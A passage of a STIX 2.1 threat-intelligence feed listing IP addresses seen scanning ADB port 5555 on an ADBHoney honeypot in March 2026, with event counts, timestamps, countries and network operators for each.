      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-04T20:36:53.000Z",
          "last_seen": "2026-03-04T20:38:14.835Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=CN; asn=134543; asn_org=China Unicom Guangdong IP network; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-04T21:24:18.000Z | last_seen=2026-03-19T22:33:58.102Z | ports=5555 | cc=CN | asn=134543 | org=China Unicom Guangdong IP network",
      "id": "indicator--cfc8da2e-8ba8-4eef-901d-085927be0927",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.90.220.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T22:00:03.000Z",
      "valid_until": "2026-04-05T22:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-04T21:24:18.000Z",
          "last_seen": "2026-03-19T22:33:58.102Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134543"
          ],
          "org": [
            "China Unicom Guangdong IP network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=CN; asn=134543; asn_org=China Unicom Guangdong IP network; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-04T21:24:18.000Z | last_seen=2026-03-19T22:33:58.102Z | ports=5555 | cc=CN | asn=134543 | org=China Unicom Guangdong IP network",
      "id": "indicator--cfc8da2e-8ba8-4eef-901d-085927be0927",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.90.220.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T22:00:03.000Z",
      "valid_until": "2026-04-05T22:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-04T21:24:18.000Z",
          "last_seen": "2026-03-19T22:33:58.102Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134543"
          ],
          "org": [
            "China Unicom Guangdong IP network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-04T22:37:14.000Z | last_seen=2026-03-04T22:48:50.535Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--801bea5f-58ee-492e-a82a-bbfdd973810d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:00:02.000Z",
      "valid_until": "2026-04-05T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-04T22:37:14.000Z",
          "last_seen": "2026-03-04T22:48:50.535Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-04T22:37:14.000Z | last_seen=2026-03-04T22:48:50.535Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--801bea5f-58ee-492e-a82a-bbfdd973810d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:00:03.000Z",
      "valid_until": "2026-04-05T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-04T22:37:14.000Z",
          "last_seen": "2026-03-04T22:48:50.535Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-04T23:53:09.000Z | last_seen=2026-03-05T00:03:13.604Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--337c33df-2928-4a9c-bd57-a08a45384979",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T00:00:03.000Z",
      "valid_until": "2026-04-06T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-04T23:53:09.000Z",
          "last_seen": "2026-03-05T00:03:13.604Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-04T23:51:22.000Z | last_seen=2026-03-04T23:52:30.601Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--db75d633-ecf4-40f4-82d4-9210760eabad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T00:00:03.000Z",
      "valid_until": "2026-04-06T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-04T23:51:22.000Z",
          "last_seen": "2026-03-04T23:52:30.601Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-04T23:53:10.000Z | last_seen=2026-03-05T00:03:29.557Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--61940e62-b73a-442b-bc78-7b518eef5566",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T00:00:03.000Z",
      "valid_until": "2026-04-06T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-04T23:53:10.000Z",
          "last_seen": "2026-03-05T00:03:29.557Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-04T23:53:09.000Z | last_seen=2026-03-05T00:03:13.604Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--337c33df-2928-4a9c-bd57-a08a45384979",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T00:00:03.000Z",
      "valid_until": "2026-04-06T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-04T23:53:09.000Z",
          "last_seen": "2026-03-05T00:03:13.604Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-04T23:51:22.000Z | last_seen=2026-03-04T23:52:30.601Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--db75d633-ecf4-40f4-82d4-9210760eabad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T00:00:03.000Z",
      "valid_until": "2026-04-06T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-04T23:51:22.000Z",
          "last_seen": "2026-03-04T23:52:30.601Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-04T23:53:10.000Z | last_seen=2026-03-05T00:03:29.557Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--61940e62-b73a-442b-bc78-7b518eef5566",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T00:00:03.000Z",
      "valid_until": "2026-04-06T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-04T23:53:10.000Z",
          "last_seen": "2026-03-05T00:03:29.557Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-05T01:37:50.000Z | last_seen=2026-03-12T15:51:46.135Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--7bd5025b-a735-49cd-9dc8-a32a7fc57076",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '79.124.40.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T02:00:02.000Z",
      "valid_until": "2026-04-06T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-05T01:37:50.000Z",
          "last_seen": "2026-03-12T15:51:46.135Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-05T01:37:50.000Z | last_seen=2026-03-12T15:51:46.135Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--7bd5025b-a735-49cd-9dc8-a32a7fc57076",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '79.124.40.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T02:00:03.000Z",
      "valid_until": "2026-04-06T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-05T01:37:50.000Z",
          "last_seen": "2026-03-12T15:51:46.135Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=32475; asn_org=Internap Holding LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=50 | first_seen=2026-03-05T02:00:14.000Z | last_seen=2026-03-27T05:12:00.338Z | ports=5555 | cc=US | asn=32475 | org=Internap Holding LLC",
      "id": "indicator--db1329b7-2e14-4a8e-a68a-c60ba5107d00",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '203.55.131.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T03:00:04.000Z",
      "valid_until": "2026-04-06T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 50,
          "first_seen": "2026-03-05T02:00:14.000Z",
          "last_seen": "2026-03-27T05:12:00.338Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "32475"
          ],
          "org": [
            "Internap Holding LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-05T02:20:12.000Z | last_seen=2026-03-10T08:32:58.277Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--0697e1b9-ce52-4ae6-b703-a9dcfa7e5f75",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T03:00:04.000Z",
      "valid_until": "2026-04-06T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-05T02:20:12.000Z",
          "last_seen": "2026-03-10T08:32:58.277Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-05T02:19:31.000Z | last_seen=2026-03-05T02:20:35.319Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--2b940ee0-63bc-4358-b94e-6ec30d94afb2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T03:00:04.000Z",
      "valid_until": "2026-04-06T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-05T02:19:31.000Z",
          "last_seen": "2026-03-05T02:20:35.319Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=32475; asn_org=Internap Holding LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=50 | first_seen=2026-03-05T02:00:14.000Z | last_seen=2026-03-27T05:12:00.338Z | ports=5555 | cc=US | asn=32475 | org=Internap Holding LLC",
      "id": "indicator--db1329b7-2e14-4a8e-a68a-c60ba5107d00",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '203.55.131.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T03:00:04.000Z",
      "valid_until": "2026-04-06T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 50,
          "first_seen": "2026-03-05T02:00:14.000Z",
          "last_seen": "2026-03-27T05:12:00.338Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "32475"
          ],
          "org": [
            "Internap Holding LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T03:00:04.000Z",
